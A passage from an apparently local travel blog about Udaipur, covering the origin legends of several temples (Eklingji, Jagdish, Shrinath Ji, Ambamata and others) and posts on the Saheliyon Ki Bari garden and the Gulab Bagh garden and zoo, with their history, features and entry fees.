Ekling Ji temple is situated 22 kilometers far from Udaipur. It is said that the forefathers of Bappa Rawal ruled the Mewar dynasty. They had enmity with the Mauryas. The Mauryas wanted to kill their family. His mother escaped and came to a place known as Kailashpuri. Bappa started grazing herd of cows. One day he noticed that a cow entered into the dense bushes and at a lonely place and started shredding milk. The place was later recognized as shivalingam and after that Ekling ji temple was built by Bappa Rawal.

#4 Jagdish Temple

Jagdish Temple was built by Maharana Jagat Singh of Udaipur. Maharana Jagat Singh had deep devotion in Lord Jaganath Puri of Orissa. He used to visit Jagan Nath temple in every annual rath yatra. At one occasion he could not reached at the rath yatra on time and he had to halt in the midst of his journey. Maharana got disappointed a lot that he could not attend the rath yatra. When re reached there he had a dream in which the Lord told him that there is no need to travel such long distance and he could made a temple in his city itself. After returning Udaipur he started the construction of the temple.

#5 Neemach Mata

Neemach Mata is a famous temple in Udaipur and it is situated at a small hill top near Fateh Sagar Lake. According to the residents here this temple is also considered as Vaishno Devi of Udaipur. The name Neemach Mata came due to its origin, which is under a Neem tree. People here believe that those who come here regularly and offer their worship never get any skin ailments due to the strong spiritual spirit of the neem tree. Several pilgrims and tourists visit the Neemach Mata temple every year.

#6 Shrinath Ji Temple

Shrinath Ji temple is situated at Nathdwara, which is around 50 kilometers from Udaipur city and it is also termed as the gateway to lord Shrinath Ji. The temple was built in 17^th century and owes a great story behind it. It is said that an idol of Lord Krishna was transferred to a distant and safer place from Vrindavan. There were chances of its destruction of the idol by the Mughal Emperor Aurangzeb. When the idol reached this placed the bull cart stuck in deep mud and could not moved further. The priest accompanying the idol thought it as the right place and therefore Shrinath Ji temple was built in Nathdwara. The spirituality of the temple is so strong that from the poorest to richest person in the world including celebrities & stars visit Shrinath Ji temple for darshans and manoraths.

#7 Ambamata Temple

The Ambamata Temple deserves the fame as it is one of the main temple of Udaipur. The temple too has a fascinating story behind its construction. It is been said that the erstwhile Maharana of Udaipur Maharana Raj Singh had severe eye problem that did not recovered after treatment. Someone suggested Maharana Raj Singh to have darshan of Amba Mata in Gujarat. At the night before the departure for his journey he had a dream of Goddesses that told him to construct the temple in Udaipur. Next day Maharana visited the place where he found the statue of Ambamata and started the construction of the temple and his ailment also recovered very soon.

#8 Sagasji Bavji Temple

Sagasji Bavji temple is situated at Sarvaritu Vilas. Sagasji Bavji is worshiped as a symbol of bravery as people say that he never lost a war in his life. Sagasji was son of Maharaj Raj Singh. When Sagasji lost his life his wife Maharani Kunwariprada became a sati. Every year Sagasji’s birthday is celebrated with full glory and fervor. Thousands of devotees wait in long queues to have a glimpse of Sagasji Maharaj. There is a large idol of Ganesh Ji that catches eye of devotees visiting the temple. On his birthday the temple remains open for 24 hours for few days. The occasion is celebrated with night jagrans and the crowd enjoys with full enthusiasm and vigor.

#9 Mahalaxmi Temple

The Mahalaxmi Temple is situated at Bhattiyani Chohatta and it was named after Bhati Rani who developed this area. It is said that the temple was built by Maharana Shambhu Singh who fought a battle and brought idols of Mahalaxmi, Rishabhdev and Sundar Vinayak. Mahalaxmi is considered Goddess of wealth and prosperity and worshipped by everyone. The birthday of Mahalaxmi is celebrated every year with fervor and passion. Devotees visits temple and wait in long queues to offer their prayers and Prasad. On the day of Deepawali the temple opens at 5.30 am with the Mangla Aarti. His highness Shri Arvind Singh Mewar visits the temple every Diwali to offer prayers on the occasion of the holy festival of lights.

#10 Mahakaleshwar Temple

The marvelous Mahakaleshwar Temple is situated at the bank of Fatehsagar Lake opposite Panna Vilas surrounded by the lush green Aravali Hills. The temple is spread around 3.5 acres of land and great saints like Guru Gorakhnath, the dignified devotee of Lord Shiva, has worshipped here. The devotees have strong faith in Lord Shiva and every day huge number of devotees visits temple to have a glimpse of Mahakaleshwar. The temple opens at 5.30 am with the first prayer and the last prayer takes place at 10.30 pm and the prayers are attended by hundreds of devotees. On special occasions the Rudrabhishek is also performed here by the temple priests.

#11 Rishabh Dev Ji

Shri Rishabh Dev Digambar Jain Atishay Kshetra is situated at Dhulev village at Udaipur. The place became famous as Rishabh Dev due to the miracles of Bhagwan Adinath (Rishabh Dev). This is also known as Kesariya Ji because there is a tradition of worshipping the idol with Kesar (Saffron). The idol having black color is also known as Kalia Baba and the local people call it by this name. The place is surrounded by the magnificent Aravali Mountain Range. The idol established here is very ancient as it even does not provide any information at the base. It is also said that this idol was worshipped by Acharya Vidyanand in 9^th century. Few ancient petro graphs were also found here that reveals that this Khetra was renovated from time to time.

#12 Old Shrinath Ji Temple Ghasiyar

It is called as the Old Shrinath Ji Temple and it holds very long history behind construction of this temple. Shrinath Ji temple was made in Nathdwara and Shrinath Ji were well settled in Nathdwara temple. Soon Nathdwara faced attack from Scindia army. Having seen the glory and beautiful architecture of Nathdwara he threatened and asked for 3 Lacs gold coins as ransom. The Maharana of Udaipur being heard this soon made the arrangements to move Shrinath Ji to Udaipur. While Shrinath Ji moved to Udaipur a similar replica of Udaipur haveli was started building at a place called Ghasiyar. The scenic place was situated in midst of Gokunda Mountains. After keeping Shrinath Ji to Ghasiyar after some time they were again moved to Nathdwara. And this way the place Ghasiyar became famous as the Shrinath Ji temple.

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This is just a general list of temples suggested by People.

You can suggest us more temples by Commenting Below.

Tags Ambamata Temple, Bohra Ganesh Ji, Eklingji Temple, jagdish mandir udaipur, Karni Mata Temple, Mahakaleshwar Temple, Mahalakshmi Mandir udaipur, Neemach Mata Temple, Rishabh Dev Ji, Rishabhdeo, sagas ji udaipur, Shrinath Ji Temple, Shrinath Ji Temple Ghasiyar, temples in Udaipur, udaipur temples

Places to Visit

Saheliyon Ki Bari : A Salubrious Retreat of Maidens

Post author By Pragya Joshi
Post date June 13, 2013
No Comments on Saheliyon Ki Bari : A Salubrious Retreat of Maidens

Away from the noisy din of city, Saheliyon Ki Bari is a spick and span verdency where waving sprawling dazzling moments of nature spell bounds to its romantic ambience. It is a garden of maids of honor which brings to the fore the unique life style of royal ladies who once lived in the glorious palaces of the city. It is located on the northern part of Udaipur city, adjoining the east of the embankment of dainty Fatehsagar Lake.

Saheliyon Ki Bari was constructed by Maharana Sangram Singh II in 18th century for the recreation of royal ladies who came here for a stroll and to provide them with pleasurable moments away from the political intrigues of the court. The garden was designed for Maharana’s queen and her forty eight women attendants, who had accompanied her after her marriage as the part of the dowry. This is a spectacularly well-maintained garden with fountains, flower, herbs, trees, lawns and almost everything which could be found in an enthralling utopian world of fairy-land.

The garden has four pools ornate with delicately chiseled kiosks, elephants in marble (each elephant sculptured out of a single piece of stone) and lions carved out in marble serving the purpose of fountain which create the royal picture of the bygone era. Fountains surround a lotus pool, a marble throne and a settling room which has been adorned with enchanting paintings and glass mosaics. The garden boasts of almost 2000 fountains, small and big, and that too built at the time when there were no water pumps. These fountains are fed by the waters of Fateh Sagar Lake gushing through purpose-built ducts.

Each water channel was designed to create a distinct sound so that the mingling of these sounds would create music. There are five beautiful fountains which are viz. Swagat fountain, Savan Bhodo fountain, Kamal Talai fountain, Rasaleela fountain and Bin-Badal barasat fountain. In the old time the queens used to come with their friends so it is called Saheliyon-Ki-bari.

Maharana Bhopal Singh in the later years was fascinated by this place and built the rain cascading fountain in order to form an illusion of rain falling to the rhythm of dancing maids. These fountains were imported from England in 1889 and can be traced along with the main reservoir that has four black marble kiosks at corners and one white marble kiosk in the center. The ‘Savan-Bhado’ fountain is on the left of the central square and there is yet another one on the right. The pond on the west features daintily sculpture pavilions of soft black stone, which are surrounded on all sides by more fountains.This ornamental garden was constructed in its present form by Maharana Fateh Singh in late nineteenth century, after the original garden had been washed away on account of the breach of its old embankment.

Museum @Saheliyon Ki Bari :

Saheliyon ki Bari also houses a small museum which displays the royal objects of Maharana with large collection of pictures and antiques of royal households. This museum also domiciles stuffed animals, such as cobras and ancient pictures, thus promoting rich heritage of Rajasthan. The garden’s lotus pools and fountains have been placed at a lower level than the water of Fateh Sagar. This also ensures that they are gravity-fed. As one strolls through the shady lawns and the rose garden comprising over 100 varieties, the profusion of flowers feasts the eyes of visitors and the bunch of bougainvillea bends down to offer greetings. Flowers of deep blue, rosy red, enticing purple and marvelous orange facilitates visitors and especially the children.

The beauty of this alluring state intoxicates one to its tranquillizing effect and resuscitates our minds from the hectic schedule of our mechanical life. It is loved for its elegance which fills leisure intelligently and is the favorite picnic spots in Udaipur and visited by both locals and tourists in large numbers. It is a sprawling garden with carved pavilions and fountains whose grandeur serves as icing on cake. The picturesque serenity of the place has been showcased in several romantic film sequences ‘such is the mesmerizing appeal of this garden’. The best time to visit the place is winter season when the temperature is ideal as one will mostly be under the sky. Visiting time is from 9 am to 6:30 pm daily. It is good for experience seekers, photo fanatics, nature lovers. Entry fee is Rs. 5 per person. Today, Saheliyon ki Bari has become a dauntless amusing destiny and the pleasure park for the recreation of Udaipur dwellers.

Saheliyon Ki Bari – The Photo Gallery

Photos By : Yash Sharma

Tags garden of ladies, places to visit in rajasthan, places to visit in udaipur, Saheliyon Ki Bari, the garden of maidens, udaipur gardens, udaipur museum, women garden

Places to Visit

Gulab Bagh and Zoo – An Engrossing Domicile of Relishment

Post author By Pragya Joshi
Post date June 3, 2013
3 Comments on Gulab Bagh and Zoo – An Engrossing Domicile of Relishment

Nestled in the fertile valley of Udaipur, beneath the banks of lush Lake of Pichhola stands the shinning, the enchanting pleasure park baptism as Gulab Bagh. It is spread over 100 acres of land at an elevation of 593 meters and having coordinates 24°34′17″N 73°41′34″E. It brings a sense of history and an aura of class which this masterpiece engulfs within itself. As the name suggests it also brings that fragrance and feathery touch of a rose leaf to those who truly appreciates its beauty. Though portraying the scenic imagination of then ruler Maharana Sajjan Singh Ji, it also preserves a sense of history within its cold frames. Gulab Bagh not only represents the traditions of Udaipur but of whole India, an act which can be justified as it is being the fourth oldest zoos in Indian subcontinent.

Gulab Bagh In Its Earlier Years :

Gulab Bagh is one of the most famous and the biggest of all gardens of Udaipur. The garden was built by the then Maharaja of Udaipur Maharana Sajjan Singh ji in the year 1878 and hence precisely known as Sajjan Niwas Garden but due to the avaiability of numerous varieties of roses, this garden is also known as Gulab Bagh or Rose Garden. The garden consists of a wide variety of flora such as Lotus Pond, and many prominent trees that included many species of mangoes, guava, grapes, lemon, berry, mulbury, rayan, pomegranate, bananas, sapota, tamarind, bullock’s heart , lichi, arjun trees, wood apple, karonda, campher, citron, jamun, pummelo, meetha neem, kargi lime, ficus species, anola, jack fruit, dhanverjia, grandi flora, jasmin, dawood etc. After making the garden prominent amongst the locals, T.H. Story imported variety of flora from various regions of India, their enchanting beauty can be only witnessed here with natural quaintness. Not only this, he also imported from other British colonies, resulting in huge and wide variety of trees and shrubs for the garden. In 1882, a name plate was placed on all the trees which included a Hindi name of the tree, English name of the tree and the botanical name. The boundary of the garden was constructed in the year 1885-86 and the garden was divided into 45 parts according to different flowers, trees, zoo complex and so on.

Photo Courtesy : IndiaTourismPortal.com

Gulab Bagh also encompasses a museum, originally known as Victoria Hall Museum, laid by Maharana Sajjan Singh on 2^ndNovember 1890. The inauguration was done by Lord Lansdown. Mr. Gauri Shankar Ojha was the first curator of this museum in the year 1890. This museum proved to be encampment of flimsy collection which comprised of things and many stone manuscripts dating from 3^rd Centaury B.C. to 17^thCentaury A.D. A library was constructed in the premises of the garden by Maharana Fateh Singh which is now known as Saraswati Bhawan Library. This public library has large volumes and illustrated manuscripts on history, archaeology, Ideology. The museum, reading room and the library are inside the Victoria Hall. The library is replete with Queen Victoria’s displaced statue.

The enclosure has a two way entrance for its visitors and the main gate was exclusively made in the eye of Maharana, on the top of it is the sign of Raj Gharana and a lion on either side of it depicts the paradigm of Mewar culture. As entered one can have leisure walk in the tree lined landscape to relax amid the greenery. The location of Gulab Bagh Zoo is unique in the sense of its proximity to the main city and other tourist places as well as the natural environment of dense vegetation of the garden. The garden consists of large ponds covered with lilies and several varieties of trees that provide ample shade to the visitors .The well trimmed shrubs in the shape of animals and the cemented portray of animals ads an enhancement to the garden and urges the passer-by to have snap with them. Municipality has introduced various fun rides for the children and even adults. To enjoy the cherishment of this beautiful scenery there is a famous mini train for kids to have a ride all across the garden.

The Zoo :

The garden also comprises of a small yet pleasant zoo, showcasing a number of animals. The zoo initially was used as an entertainment for the royal people as organized fights between wild boars, Lions, and Tigers. After independence many animals were shifted to this zoo. The Gulab Bagh zoo is now threatened by plans of the Forest Department to shift it to the biological park being built in Sajjangarh and to convert the zoo into an aviary. The team of Gulab Bagh zoo manages the zoo with tenacious dedication and provides them a temporary home in Gulab Bagh thus it is well maintained and protected. CCTV cameras are also installed inside the zoo to keep a keen eye on the activities of the animals. This small zoo has an array of wildlife including tigers, leopards, Chinkara, gazelle, birds, and many others and has welcomed a variety of new animals including a female leopard and various species of birds. Entry fee to visit the zoo is Rs.5 and camera fee is Rs.15. This is an intact place to visit providing knowledge, fun and pleasure.

Tags gardens and tourist spots in udaipur, Gulab bagh, Gulab bagh zoo udaipur, places to visit in udaipur, pragya joshi, Sajjan Niwas Garden, the rose garden udaipur, udaipur zoo, victoria hall library, Victoria Hall Museum, Zoo